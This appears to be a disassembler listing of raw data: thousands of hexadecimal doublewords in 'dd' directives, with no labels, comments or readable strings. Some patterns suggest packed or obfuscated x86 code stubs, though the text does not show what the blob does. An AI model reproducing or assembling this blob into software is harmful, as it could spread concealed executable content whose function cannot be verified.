dd 0F2F4C2B7h, 0FF55C5D1h, 0E9FC60D0h, 0Dh, 0B6376160h
dd 0AB890CD9h, 0B1A24753h, 66606140h, 12C1F081h, 11870Fh
dd 0CE90000h, 2E000000h, 368CBE25h, 5A531001h, 6174ACD0h
dd 465BD8Bh, 860F07E0h, 1, 3C7F03FCh, 0F1816660h, 0DE80916Ah
dd 81F961C0h, 0F8C7h, 6060F500h, 8B0Fh, 0A3B30000h, 0ABBA5361h
dd 5965B361h, 2447C761h, 60000020h, 8850Fh, 80600000h
dd 0EB80C0C2h, 9D8D61D2h, 7E001EDh, 1890Fh, 8BFC0000h
dd 13850F03h, 0E9000000h, 0Eh, 9BD9EF39h, 0AD790CA9h, 72D4D6A4h
dd 0C00B21C2h, 41840Fh, 800F0000h, 1, 0E9008BF8h, 9, 0BC6CF18Fh
dd 8DA7E10Eh, 0EE96085h, 66000000h, 725F940Ah, 0EC65456Bh
dd 27C9D8A2h, 438961F4h, 0C830F04h, 0F000000h, 684h, 830F00h
dd 0B9000000h, 234CF6h, 23E9h, 3246FD00h, 14h, 7 dup(0)
dd 0B97E9h, 0D8316800h, 0C4E907E6h, 68FFFA71h, 7E6D93Ch
dd 0FA71BAE9h, 0DABC68FFh, 0B0E907E6h, 68FFFA71h, 7E6DB99h
dd 0FA71A6E9h, 0DD3D68FFh, 9CE907E6h, 68FFFA71h, 7E6DF80h
dd 0FA7192E9h, 0E0A268FFh, 88E907E6h, 0F8FFFA71h, 81FDD478h
dd 0F8B62FCh, 9915EC8Eh, 28A47B13h, 2B340BA1h, 790F96B8h
dd 5A326A2h, 9030B22Eh, 1DB93DB9h, 844AA146h, 6329399Eh
dd 31A42DB2h, 37C311ADh, 0A44017B3h, 4309C81Dh, 63226A0Ah
dd 0F0DE9D06h, 0C276BC38h, 0ECCC9BCh, 22C37E68h, 0AA56E963h
dd 9EE8C023h, 5C7FEE6h, 0C18182D0h, 10A6A33Bh, 0E483645h
dd 46E9A855h, 17449592h, 85C437A4h, 40h, 371DE38Eh, 53632321h
dd 32BCEDEAh, 6A670186h, 7F3EA71Ah, 226494B9h, 803FA863h
dd 64290FD5h, 0F456322h, 0FB6662CAh, 0CECB00C1h, 90806A10h
dd 0F1EB6322h, 3BE6F3A2h, 0EB34C437h, 3B000000h, 0B3EA4432h
dd 0C98CBABCh, 7C189CCCh, 851BA22Eh, 8B27AB37h, 912DB13Dh
dd 10933FBAh, 21232472h, 10822D4Ah, 206A672Ch, 5B435904h
dd 0B43B62E6h, 3F740E93h, 0CAB8330Ah, 12ED34CDh, 0FA2A2799h
dd 0E08CDA76h, 7F4504E1h, 6322908Ah, 77C8B661h, 0E73B2F55h
dd 40806640h, 339C6323h, 6C43AC36h, 35F4F1D0h, 3FDEC48Ah
dd 89F26323h, 0F975D8Ch, 0C26B05FDh, 17CE7D4h, 0B9DDDF7Fh
dd 0C3BCBE06h, 3363037Fh, 0C029B3B0h, 29AA5601h, 36383987h
dd 0BEF140B9h, 0CEFEFBB5h, 5FDAB147h, 429032B3h, 8D144441h
dd 2B1CEDF7h, 512B72A0h, 935B3h, 3EE26200h, 0CC66EB67h
dd 56F879F5h, 0E57D037Fh, 750B920Eh, 4E959Eh, 900CE379h
dd 1C986F0Dh, 0A723FA9Ah, 0BB08723h, 3B08EEB4h, 9F246329h
dd 14AA3116h, 0A13DC13Dh, 0B0114DCAh, 3B8927AAh, 9B46053Ah
dd 84D268EFh, 173C8683h, 29632265h, 3BE772C0h, 3FCB19B9h
dd 2BEB20BAh, 0BFC00EA4h, 648E78C2h, 66F96322h, 640FF5BBh
dd 0FF856322h, 0FE181967h, 9EEC840Ah, 0D56B689Dh, 17FADF8Eh
dd 0C520C437h, 27000000h, 0C311AD31h, 6A0A8C38h, 78384E1Ch
dd 7C987772h, 931A4A47h, 7924AFFDh, 426DCDB3h, 6BEDE15Bh
dd 477C7DCBh, 72E4004Ah, 42C65B42h, 763CE7A6h, 5B427290h
dd 0FF4643ACh, 0A463FF83h, 0DEDB71F8h, 984D7420h, 0E93FEBD9h
dd 0D6E7CD77h, 0EFE4AAD9h, 0A1632350h, 0FCC56138h, 0F87E2AE9h
dd 14111260h, 9861FE5h, 99026B06h, 11A72EDAh, 1737BE3Ah
dd 44B76B51h, 0E1167F5Bh, 0A0662CD7h, 0A3411B72h, 82Ah
dd 7249ED6Dh, 0D771F6h, 8A610384h, 19F0880Eh, 0A980169Dh
dd 840B43A0h, 189B17EEh, 0A527A37Ah, 2EB22E05h, 0BF16BB92h
dd 293C13F9h, 19A22763h, 3D14AA31h, 0F79116C2h, 7BABA8A9h
dd 7845BF7h, 0C311AD31h, 4017B337h, 9C81DA4h, 8F31B25Eh
dd 678B4892h, 14C06322h, 6FF9F68Eh, 0A82CB806h, 35B9350Ch
dd 692FDA99h, 63226783h, 73312E97h, 688A04CDh, 1D68FEEAh
dd 966D098Dh, 3BFA961Ah, 89E4CA90h, 8FF8DBE8h, 452ED492h
dd 5EDBE88Ah, 9D21B104h, 2AAE2A01h, 0AD9A408Eh, 34DBE88Ah
dd 0D357672Eh, 0F7E56037h, 37C50A89h, 0F3F3C56h, 0F5A1EF8Bh
dd 945A19CCh, 0E27C2E07h, 8D7339E4h, 0A1D3FC2Bh, 48B13B38h
dd 0F9ECD571h, 423B743Ah, 5B0DBDCh, 9C41593Fh, 0BA3F75DAh
dd 683DF661h, 86100D42h, 4029CF1Dh, 0ABDA9B97h, 0F2462A18h
dd 8A71F1A0h, 1FACF78Dh, 250F273h, 0A6B30401h, 0F4BC8E3Fh
dd 3DAh, 48EAB4FBh, 9DCAF9Dh, 0CC21A714h, 43020CF2h, 0CFB57B5Bh
dd 0EB5B4301h, 40FF6882h, 4302947Ah, 423FA85Bh, 5716CFF2h
dd 230A0091h, 0EF238C63h, 31CD6B15h, 0DB7462E4h, 85E94BAFh
dd 744D9D9Ah, 4107B271h, 0E230795Bh, 5EF47B6Fh, 0DDDA0F10h
dd 0A22BE8AEh, 0DC45EA10h, 6DFE28Eh, 227F8147h, 0A20BE434h
dd 17B337E3h, 0A440C440h, 4F72F59Ah, 4AE8C2F4h, 6AAh, 0F2C96DEDh
dd 8057F176h, 0AE18304h, 9970088Eh, 2900961Dh, 48BC320h
dd 981B976Eh, 25A723FAh, 0AE32AE85h, 3F963B12h, 293D9379h
dd 9922A763h, 7635B011h, 2266F3B0h, 4694FD63h, 0EF8B0FBBh
dd 0A23EC2F2h, 8C7238E3h, 0A0632267h, 5A8F25ACh, 29EF9F5Dh
dd 0C6952C5Ah, 22671A00h, 98CD3663h, 0CD7EBD9h, 0F888830Fh
dd 4906CCFBh, 236B0293h, 7A68E3BAh, 61270F62h, 5B43157Bh
dd 1924268Fh, 0CAE2F12h, 26AADAD7h, 2CB03C8Ah, 15B4290h
dd 4A024B2h, 8C4B902Dh, 0C3D1C3D7h, 0D8000002h, 7635B011h
dd 293923B0h, 0B3392D63h, 7C27E61Bh, 4A2EE08Eh, 8683BEF4h
dd 6239CF56h, 7BC95FE6h, 28C1EAD5h, 0BD130163h, 37D36992h
dd 2FB3E3E0h, 0D5EE8993h, 3DD8ABBh, 5CD65h, 0A64ACA00h
dd 34CE53CFh, 0BE60E15Dh, 4DE56BE7h, 0DD73FA76h, 68E6FD06h
dd 0F8744BE1h, 8400D775h, 0F8B6202h, 7318EF8Bh, 3E70561Ch
dd 78C6329h, 35B0117Eh, 5A20CB76h, 5B426374h, 0D8221F88h
dd 6329394Bh, 28EDC45h, 8F0BE27Eh, 95216F0Bh, 9B277511h
dd 0CF6BEF18h, 0FD4B8081h, 0C6EE71h, 6329391Ah, 4A98CD36h
dd 2DBA0963h, 29398167h, 0FF349D63h, 0AB3B8AE4h, 17B48B27h
dd 0C431C0C2h, 20158h, 0AD315F00h, 8D38C311h, 63361CE2h
dd 0E14A5B42h, 42632107h, 4C2C555Bh, 33172064h, 83B3B019h
dd 2D55D8FFh, 42E98167h, 0FF349D5Bh, 0CD78F3CAh, 42E92107h
dd 14D43D5Bh, 0A7A8F68Eh, 0F4675AAAh, 42E9482Eh, 3CFB645Bh
dd 42E99076h, 0E43AC5Bh, 0F050894Fh, 0C32C6322h, 36D65804h
dd 0E2CBB177h, 76DF6322h, 2B15BB79h, 966322E3h, 6DD05703h
dd 655D3515h, 48457A14h, 0A5B2E3B2h, 0F3C43785h, 33h, 35B011FAh
dd 5A20CB76h, 5B426374h, 0D8221F88h, 632264B3h, 0B7A564CDh
dd 70913A15h, 0CA888537h, 23093A24h, 0D8ABA563h, 37B0ACA9h
dd 0AEEAC4h, 31F10000h, 8A4844ADh, 0BAFBA55Eh, 24AB3785h
dd 30B4408Eh, 36BA4694h, 0C344EBCDh, 0F4B421DFh, 0C69DD272h
dd 42ED1430h, 56F2765Bh, 7DEE37Fh, 6FF19D48h, 838081CFh
dd 259E1E39h, 0D9FC3263h, 50225D97h, 98430237h, 81CF65ECh
dd 0CC538380h, 45CB7736h, 0ABAC63E0h, 1E531222h, 0D75EDA21h
dd 0A76E3741h, 835D7540h, 429E5h, 4AEE6E00h, 0D872F773h
dd 62048501h, 0F1890F8Bh, 81179E1Ah, 0C42A1AAh, 9C18EF85h
dd 28A47B19h, 0B32F06A6h, 17BC932Fh, 4014FAC0h, 0A3286329h
dd 14AA311Ah, 163DC13Dh, 0AAABF98Fh, 77239E75h, 2C5D5AF0h
dd 3644AD31h, 0D239709Ch, 980CF2B8h, 0B7205B42h, 0E28E4D82h
dd 8D73395Dh, 0A15B4298h, 0B4B50338h, 0C26EF9B7h, 74A4A13Fh
dd 1E04CAF0h, 325B4298h, 0E7D594C9h, 0E8CCF874h, 579E9B6Bh
dd 0FAD30DCh, 0E6FFC212h, 3BD46127h, 4FB86323h, 39735B01h
dd 978A6323h, 957B41ECh, 0A9632339h, 39806640h, 31F76323h
dd 6323394Bh, 73DCF65Fh, 0E595E076h, 844A09DCh, 6B033AF7h
dd 0EA8208B4h, 0EE6F63EDh, 2530FE4Ch, 0DDFD8134h, 81E3E51Ah
dd 0AFD2C549h, 30AB82B7h, 0CFD9BF85h, 8CF55B42h, 0AD315E8Fh
dd 0B337C311h, 1B690B8Ch, 62E4CA90h, 8FF85B42h, 0BB66255Ah
dd 42630FF5h, 0C5C22B5Bh, 6DFE27Eh, 2BF19C47h, 5B426345h
dd 0A9F3F059h, 63226970h, 7517988Ch, 0CF938140h, 5EF85712h
dd 9C4200FDh, 6322A9B2h, 2150231Dh, 0C4375434h, 644A10BBh
dd 786322B1h, 458A120Fh, 91000000h
dd 7635B011h, 22648BB0h, 0ECB2A563h, 63226406h, 3852F274h
dd 0D927BD44h, 0AF6EA3D8h, 95E37F03h, 33D99794h, 63226449h
dd 0F07521B4h, 0C33A0856h, 94A303CAh, 28BEBBF0h, 1E2F2C5Dh
dd 76DC437h, 74000001h, 0F90F4432h, 94F55C97h, 0C8CA74A9h
dd 0F9B966D2h, 0ABDBD876h, 0D2550127h, 0BE5E634h, 5B433D25h
dd 4D9BD039h, 2D00D4C2h, 0B8FF13A6h, 6E048BBBh, 67E99520h
dd 5C4208C7h, 705B4305h, 56DA0A07h, 5CE06CBAh, 0CE5501C0h
dd 408E28ADh, 0BBBC0A3Fh, 0C5E177BEh, 235B4309h, 0CDB3799Fh
dd 3B5B4308h, 0CFD01EB4h, 40174CB5h, 56A440C4h, 0FCE17AAh
dd 49F37664h, 780D4B6Bh, 16E0317Bh, 0B6EC6323h, 4086B64Ch
dd 0EF147A5Ah, 8F16163h, 9B814706h, 0AF6322F7h, 9E3A1146h
dd 3D03C223h, 6B05B41Ch, 5500BF28h, 7AFE25A9h, 5A5BA9DEh
dd 10A62D5Dh, 0A036BD39h, 0A01AD796h, 6C0AE472h, 1E6h
dd 0B68D31B1h, 441BB53Ah, 0CEA547C8h, 5D34CC52h, 0EDC45AE1h
dd 0C84FFFE4h, 5CDF5B32h, 0E96BE7BEh, 72F67249h, 35AFFD6h
dd 2942573Dh, 65EE7363h, 66028632h, 1CB23969h, 1F45C945h
dd 42637359h, 0E91E875Bh, 0B0119512h, 5CB7635h, 5B42631Fh
dd 0A6D5D23Bh, 2FCB4FFBh, 64C3E832h, 0F45D6322h, 641600A6h
dd 0EE816322h, 0C6558800h, 7774500Fh, 0F6E392E1h, 24C437C3h
dd 0DFh, 0C187322Bh, 5B4262DBh, 639E844Ah, 49B25B42h, 99C9C62Fh
dd 9F2B7915h, 8E348218h, 5B426872h, 0FA106B59h, 1D0E1668h
dd 0D06CF020h, 5DF97DF9h, 472DF39Eh, 635B4316h, 15B1DD2Dh
dd 0E4198594h, 447D29E7h, 0CB1CE2A1h, 0C56322A5h, 46F29D5Ch
dd 664C26C2h, 7A63229Fh, 31660286h, 7051ED34h, 0C163E5A8h
dd 1348C12Bh, 790E8E54h, 9B56B05h, 9798E688h, 0E8A7109Ah
dd 0E6CC923Dh, 555B4547h, 4548A98Fh, 425CC55Bh, 25ACDCD9h
dd 4F3DB88Fh, 0CD984010h, 0A9D9D6F8h, 0B5828C22h, 8272A096h
dd 0C40AA8h, 53D30000h, 0D75CD8AFh, 69EA663Dh, 0EE74F0C7h
dd 7C037F56h, 0DD060FE6h, 7D54EA71h, 9E07E01h, 946B0B8Dh
dd 21F89418h, 795F257Ch, 95632943h, 0AA318710h, 3DC13D14h
dd 314DCAA1h, 37C311ADh, 0A44017B3h, 4309C81Dh, 632939B2h
dd 8876359Eh, 75DCF762h, 0C3817E3Ah, 5817B337h, 7F4A276Ah
dd 5451484Ch, 710D910Dh, 7CFB7D23h, 76A576FDh, 77C13F88h
dd 0C44598CBh, 682EED22h, 6F746782h, 0A238359Eh, 0A33FC3D3h
dd 0A5CC50CCh, 452871Fh, 0ED8DF278h, 0E47E45F0h, 87140103h
dd 3BCBB894h, 0A92CB806h, 0AC31BD0Bh, 1D43C412h, 29EFD356h
dd 2CC84C5Ah, 0B955D955h, 8CD6Bh, 32480000h, 68650386h
dd 0B131BC09h, 0AF33BF0Dh, 0B739C513h, 0BA3DC917h, 0BB42CE1Ch
dd 0C44BD725h, 0CE54E02Eh, 0DB5CE836h, 0DA5FEB39h, 8363F240h
dd 8F5404ECh, 4832404h, 78680424h, 8900004Fh, 89572414h
dd 4C781E7h, 81000000h, 4EFh, 243C8700h, 2434895Ch, 0F9BD5551h
dd 8967355Eh, 0CEBA5DE9h, 1A0B177h, 8B5459CAh, 0C4832434h
dd 4EC8304h, 81241489h, 78DD2404h, 468F2317h, 86E8108h
dd 231778DDh, 5624348Bh, 0C681E689h, 4, 8704C683h, 8B5C2434h
dd 89512414h, 4C181E1h, 81000000h, 4C1h, 240C8700h, 663DE95Ch
dd 71D7FFFAh, 8FA60F1Ah, 0E6E18BB8h, 0FFC50307h, 892639E0h
dd 0C556127Bh, 75F5DA18h, 22AF2858h, 0B81CAD27h, 0BDFDDD54h
dd 0C0B20276h, 4DA25D44h, 6C50607Ch, 0A085DC6Ah, 4FCB132h
dd 0D1D67A61h, 0DB4D2A6Bh, 0CDD3A47Dh, 0ED00A555h, 77B6BE39h
dd 0EDBF0C01h, 6EB9641Fh, 0A659BC18h, 142BC676h, 4771BA35h
dd 23D7F04Dh, 47D2DB57h, 67749E12h, 0BE6D3E24h, 0E1536069h
dd 0CAAEF725h, 0BB1BA529h, 66272F74h, 9E86Dh, 97500000h
dd 0F0EB4178h, 81C36522h, 0E31DFAF7h, 9E95E2Ah, 2A000000h
dd 0DEB9E70Eh, 3FD8D82Bh, 7480C681h, 0DE90000h, 53000000h
dd 8C51DD62h, 0F6A5653h, 0DA97A76h, 1CFB68h, 0EF816600h
dd 8B588382h, 0BE9521Eh, 2000000h, 0CDB17908h, 0A413A9F8h
dd 815FD3ECh, 69A78EEBh, 53D1806Ch, 4063C381h, 81FC43BDh
dd 6040C2EBh, 0D3B70F4Bh, 1FB91E89h, 81305416h, 303EC1EEh
dd 28A0F65h, 8A000000h, 0BDC681EBh, 6665303Eh, 344AC781h
dd 0AC850F48h, 0FFFFFFFh, 8D8DD0B7h, 7E6E431h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 5EC35747h, 3C7D9205h
dd 1B04EE7Eh, 6850FE4h, 8B000000h, 0E01689BDh, 0BE95307h
dd 3E000000h, 81564868h, 76340042h, 89585001h, 0E018158Dh
dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h
dd 0C3574700h, 0D1D8DA22h, 0F600553h, 9D29DFB7h, 7E00139h
dd 0DD858B61h, 0F07E005h, 85C7D8B7h, 7E02049h, 5E40h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 36C35747h, 3369EBA8h
dd 0E025359Dh, 0C585C707h, 7E022h, 0E8000000h, 8, 53F8B7BCh
dd 9691ECE2h, 7E8h, 2DADB800h, 2EAEA15Eh, 5B5A6160h, 1E49B5FFh
dd 0C38107E0h, 7B70E4BDh, 209195FFh, 9D0907E0h, 7E03251h
dd 919EC781h, 6A2F4Ah, 18A995FFh, 0C08B07E0h, 0F9DF0DEBh
dd 0BF1B5D3Fh, 277AECDDh, 0E89D2EAFh, 0Bh, 0D09E75C9h
dd 6EA06E20h, 59475C20h, 24359589h, 0C18107E0h, 6A54h
dd 2C89BD89h, 6807E0h, 66000000h, 5AE8C2BFh, 348DB58Bh
dd 34FF07E0h, 0FFB70F0Ah, 39B58B5Bh, 8107E000h, 0B2778FC3h
dd 56B8665Ch, 78EB8119h, 89010BFEh, 0E01FDDBDh, 89F38107h
dd 5357FC28h, 68A0Fh, 95310000h, 7E00521h, 0D8815358h
dd 16A27E25h, 5211048Fh, 58F2B70Fh, 2D2D9D89h, 0EA8307E0h
dd 0F0816604h, 0FA81D4B6h, 0FFFF963Ch, 0FFA0850Fh, 9529FFFFh
dd 7E00E01h, 30E9h, 0B8700A00h, 27h, 0Ah dup(0)
dd 505E900h, 1D680000h, 0E907E6E6h, 0FFF99BBBh, 0E6E6A968h
dd 9BB1E907h, 0A68FFF9h, 0E907E6E8h, 0FFF99BA7h, 0A3BD775Fh
dd 1832EAD1h, 8FA96146h, 21CD4BDh, 7A944E30h, 0A587BC25h
dd 1BFFD1EBh, 92754761h, 8EEC0DAh, 6954344Eh, 0D3BC6B46h
dd 7A11321h, 8A8F492Bh, 0D2ECA68Ch, 0A6BD7AA6h, 0BE96EC7Ah
dd 3F457A72h, 0F199BDE0h, 0D5AF2E59h, 964E31F0h, 0D8EFE6EBh
dd 0D9E9FCB5h, 292F8221h, 12CCB00Ah, 666B160Dh, 0D9E98E1Fh
dd 0F14EAF21h, 0D45D6F9Bh, 3168853h, 56950000h, 0E3DE987Ch
dd 21D9DDCEh, 2D4F55A8h, 20F0B0B3h, 9DC9EC03h, 9B2E5AA5h
dd 2025DFC1h, 0B1042329h, 0BF3115FCh, 0AE72CCFFh, 3FAF0225h
dd 5EC2F35h, 7823764Dh, 2D703E61h, 0AC0633D5h, 11080DC5h
dd 7096166h, 0D7EE1128h, 4F30F549h, 2A446D90h, 7B3A2F35h
dd 352A5958h, 27D2252Fh, 0A58B657Ch, 19FFD1EBh, 0E02A865Fh
dd 563FE094h, 34128h, 0A6604800h, 1BD3BA8Ch, 924A2F01h
dd 5BDA678h, 7D3719EBh, 70A50E63h, 0E8BAD48Eh, 5E304A04h
dd 0D7A9C37Bh, 3D1D37F1h, 0BA822F52h, 8AFC21D3h, 0F04FD1F0h
dd 451CB6D9h, 4FA22E5Ch, 8EBAF938h, 3FD2B6D8h, 2AFAADFh
dd 7C21D3FBh, 47292329h, 0B74D8934h, 97421F5Dh, 0CDE35480h
dd 58D6D79Dh, 309C1A6h, 82B6AA1h, 21D481A9h, 827C82D5h
dd 9AE1E6A0h, 0CE5F3F32h, 4126E7CDh, 37F1D789h, 495DB38Ch
dd 8D76DE29h, 2B55Fh, 32ECD400h, 0A75F4618h, 1ED6BB8Dh
dd 91493204h, 9C3A577h, 0FC319AEFh, 7446601Ah, 0EABCD690h
dd 63354F07h, 0C9A9C37Dh, 0BAF6BBDEh, 0E8021D3h, 0F04FD174h
dd 451CB6D9h, 4FA22E5Ch, 0BCAA034Ah, 329321D3h, 2437FDDh
dd 0C96C53D2h, 0B6000001h, 0D2AF9AC6h, 0C04DC7C1h, 20DAC0BAh
dd 0FCDEB81Bh, 328E3E42h, 2D5B7AB8h, 86472D27h, 0ECE3E8A2h
dd 0B549FBE8h, 2ADDDFAh, 0D754BCE8h, 11619DC0h, 84D72E5Ah
dd 384F416Dh, 0F1AAAEFFh, 56579EEBh, 0E721D9A2h, 97D32986h
dd 0C053D419h, 4Bh, 0F04FD10Ah, 611BFFD9h, 19D9FC5Bh, 5F2E5AA0h
dd 371BF50Ch, 6A81787Dh, 0DAA06A47h, 0BBC11421h, 9F86276Eh
dd 2F1521DAh, 0EA0D7075h, 21DA9FC7h, 0C3AA5CAFh, 0B8631B04h
dd 3390BDB3h, 227FE0F0h, 0D4EB9ECCh, 0B4B953h, 2B030000h
dd 88868B45h, 96D5ECA6h, 0BAA13E73h, 56793829h, 29BAA15Bh
dd 1F25D023h, 34EED4D2h, 0FF2CC2Fh, 71575157h, 0E1C6A0B7h
dd 0A6C12329h, 29BAA545h, 2BAA37Dh, 621C02FCh, 37F41C48h
dd 2007E120h, 0DD1F6268h, 332E5813h, 0DEFC9E0h, 0D1FD3C53h
dd 8BC345BBh, 0A0110C40h, 0D621D870h, 68496C83h, 0E21D871h
dd 8153B5BBh, 0BC0CE59Fh, 0D9EDF199h, 154C2F0h, 4D350000h
dd 0C0A77993h, 371CEE08h, 0AA93657Fh, 2406D8F2h, 0D2FB506Ah
dd 0A7C17B5Dh, 1D37F1D5h, 96B0684Bh, 0A24DEC4h, 951C3F2Ah
dd 0E121D3B8h, 492BD56Fh, 0BDA3758Fh, 0B5601AFCh, 9AC6A19Bh
dd 57794B47h, 0E0DAE04Bh, 9E5639FAh, 0AF0EEF3h, 0F20D3950h
dd 9D6A0C14h, 9F593BEDh, 3B9DA39Ah, 0B22010Fh, 5A20EDE8h
dd 8EF492Eh, 20F0C1E4h, 338621DAh, 0E18C8388h, 49688BCAh
dd 3521DA21h, 3E7DDCE2h, 8A4225FFh, 0DA21228Fh, 3095C21h
dd 536D2709h, 0F7BADD1Ch, 7F21DA20h, 0CAE3262Ch, 0D121DA20h
dd 451731EBh, 76A4A963h, 0A6h, 550FF5CFh, 31535950h, 0D9F04FD1h
dd 21D9C09Ah, 0DC1F251Ch, 2E5C44F2h, 2E2C3184h, 0A2748E48h
dd 9AFD02BCh, 2025DDC0h, 43E02329h, 0EB01FD57h, 0D0AA59B6h
dd 2F292FE7h, 3E758F49h, 0D3BC7B64h, 741F161Bh, 7872786Fh
dd 0D5D3D892h, 312F34ECh, 2C8F944Ch, 222A809h, 0C97BCE02h
dd 0F7292EE6h, 0F8A2ED42h, 3E2476CBh, 3D03B2Bh, 0B7624825h
dd 20DFC6A0h, 847B803Ah, 0D7DDD4D9h, 0AABDA375h, 0AD105C1Eh
dd 84893408h, 1956h, 9AC6EC00h, 543797BBh, 9CA0979Ch, 637A680Fh
dd 0BAA07140h, 0B4BA0D29h, 432BF5B3h, 0A0868489h, 0E3E1E6h
dd 61454348h, 0C2A4A2A7h, 23050308h, 7D666469h, 0DDC2C0C5h
dd 3B222025h, 516D7E83h, 0BB53E189h, 4, 835BD901h, 0C8704E9h
dd 0FC685C24h, 89000043h, 0B9682414h, 89000074h, 0C1BA241Ch
dd 81707760h, 171A6C2h, 5EAC140h, 1E90BB53h, 0C3813F81h
dd 6E3A6819h, 6663EB81h, 0F381506Ch, 0A0D3C119h, 545BDA29h
dd 83241C8Bh, 565204C4h, 0E343CEBEh, 24740106h, 438F5E04h
dd 86B8108h, 6E343CEh, 51241C8Bh, 0C181E189h, 4, 8704C183h
dd 0FF5C240Ch, 815A2434h, 4C4h, 96CDE900h, 3199FFF9h, 8035D23Ch
dd 16D6C6B0h, 0B8C2F928h, 7E6E983h, 0E0FFC503h, 58944595h
dd 14C87EA6h, 3A83BED5h, 72D5E27Ah, 3813F196h, 3356516Ah
dd 92BF8CFh, 70EA7A3Ch, 6253BDD0h, 2917F75Eh, 62577DEEh
dd 4486724h, 21450B2Eh, 3AAF8784h, 143D095h, 4F053FE7h
dd 3C2A48C6h, 35AAA863h, 1FDF78FAh, 75A424C3h, 737FD173h
dd 4E31398Bh, 913CA30h, 1B6200C9h, 1799BB4Fh, 659FB177h
dd 6DDE132Dh, 688750F0h, 309D9D94h, 476F384Dh, 12E8h, 7C13A100h
dd 9984321Fh, 0DCDE7079h, 0DF4ECDD7h, 8098C45Ah, 0E95FB3E7h
dd 9, 8A7923C2h, 0F62C5CCh, 4CC781FEh, 0F000064h, 887h
dd 28B0F00h, 0B7000000h, 9C1DB930h, 0F18167FAh, 67FA84FBh
dd 37FF73B2h, 9860Fh, 860F0000h, 3, 5EDDF780h, 6E9h, 99411600h
dd 818FCE5Ch, 38F4A1F6h, 8123B71Dh, 15D8A4EEh, 0D881663Dh
dd 0EE8134D0h, 7A4CEF4Ah, 18C0Fh, 89F80000h, 10E937h, 0B160000h
dd 5D777FE4h, 3C2F7CC3h, 1A681030h, 0EF8356C0h, 0C0BA6602h
dd 0E94F4F44h, 8, 87855A56h, 0CA86A4DDh, 8F850F49h, 8BFFFFFFh
dd 4A8D8DD6h, 6A07E6ECh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 0E12EC353h, 0A933D047h
dd 38E0Fh, 0BF0F0000h, 840F52F8h, 10h, 0BE9h, 1361A400h
dd 89EDB43Ch, 94247C8Ah, 158D895Fh, 6A07E018h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
dd 717DC357h, 3DD97920h, 0C8F0Fh, 830F0000h, 6, 3425B589h
dd 58B007E0h, 95DA8166h, 4985C7D6h, 9007E020h, 29000062h
dd 0E01381BDh, 0C585C707h, 7E022h, 89000000h, 0E0183585h
dd 4D858B07h, 0FF07E01Eh, 0E007B9B5h, 9195FF07h, 6A07E020h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h
dd 40000000h, 52E8C350h, 7810Fh, 8A0F0000h, 1, 20D081F9h
dd 6A74EAFBh, 0A995FF00h, 8B07E018h, 0DC0BEBC0h, 0BC068C2Eh
dd 93ED9E8h, 8D8DF8EBh, 7E6ECEBh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 18h, 8AC35242h, 2BE37785h, 18158D89h
dd 0A3B807E0h, 0C765E0A4h, 0E0204985h, 69DC07h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 0E5B5F7F0h, 68D8800Dh, 22C585C7h, 7E0h, 66600000h, 1004D281h
dd 0CE46C881h, 0FF612949h, 0E0085DB5h, 0DF8B6607h, 209195FFh
dd 0BD8907E0h, 7E01211h, 95FF006Ah, 7E018A9h, 1FEBC08Bh
dd 32F22727h, 0E5FC0D9h, 0DB1A25C2h, 2246C578h, 0D344956Bh
dd 0A9BA09DFh, 0E294AF4Dh, 8D2DF557h
dd 0E6EDEA8Dh, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1B04h, 0C3564600h, 1C26E8C3h, 0DE0BC045h
dd 6236C281h, 8D8941CFh, 7E01815h, 0C7F98B66h, 0E0204985h
dd 74C007h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1504h, 0C3554500h, 0BD8B8706h, 7E01005h, 22C585C7h
dd 7E0h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 190424h, 56460000h, 0E2BF4C3h, 669B0ED6h, 0FF32E881h
dd 2A5DB5FFh, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 140424h, 57470000h, 8D3161C3h, 7E02879h, 2DF1B589h
dd 7DBE07E0h, 0FF339942h, 0E0209195h, 358D8907h, 6A07E012h
dd 0A995FF00h, 8B07E018h, 162AEBC0h, 9D75EE11h, 5670E121h
dd 0C7691FB9h, 56FE9656h, 0AA8A27AFh, 11EF2123h, 6ACCE1E5h
dd 0EBA4F09Dh, 4F14DC55h, 7AA82F88h, 11E8EBh, 8B460000h
dd 9C57D05h, 0A461AFC0h, 0A184FA0Ah, 605927D4h, 1195958Bh
dd 4EBA07E0h, 6154F7B0h, 0A19D8B59h, 8107E031h, 676AC1h
dd 0A9BD2900h, 0BF07E02Fh, 19AAh, 0FE99503h, 318B07E0h
dd 0F681D08Ah, 264E4DBFh, 65C681F8h, 564CB273h, 8158F6B7h
dd 4996DEC6h, 0CE86Dh, 0B8950000h, 0A205AEC6h, 5AB2F7F7h
dd 13E84799h, 67000000h, 4416DAE8h, 416CE41Ah, 0A5BF7397h
dd 2245D6E7h, 0BF0F0FE8h, 895A5ADAh, 1E8B0F31h, 0E8000000h
dd 12h, 0A331B11h, 4081643Fh, 4BC42A5h, 9CA7F41h, 0B58993FFh
dd 7E02E61h, 4E9835Bh, 1B1858Bh, 0EF8107E0h, 1, 0FF7C850Fh
dd 0C881FFFFh, 56800BDh, 6E8h, 0BEFFFE00h, 8BCD9A26h, 0E02FDDBDh
dd 81F85B07h, 5B3DC3h, 0D858B00h, 0B907E01Eh, 16B0h, 0FE19501h
dd 338B07E0h, 8DEBF281h, 0EE8110E1h, 0B6B3CEh, 0EE815F52h
dd 50C47C9Fh, 0F6810AB0h, 5BEED365h, 0C8B0Fh, 840F0000h
dd 6, 2D2D8509h, 338907E0h, 9E9h, 0D0AE2B00h, 0DABD350h
dd 0EB835E90h, 6870F04h, 89000000h, 0E01A1DBDh, 850F4907h
dd 0FFFFFFAAh, 0CB8FC881h, 8D8D4329h, 7E6F057h, 0E857006Ah
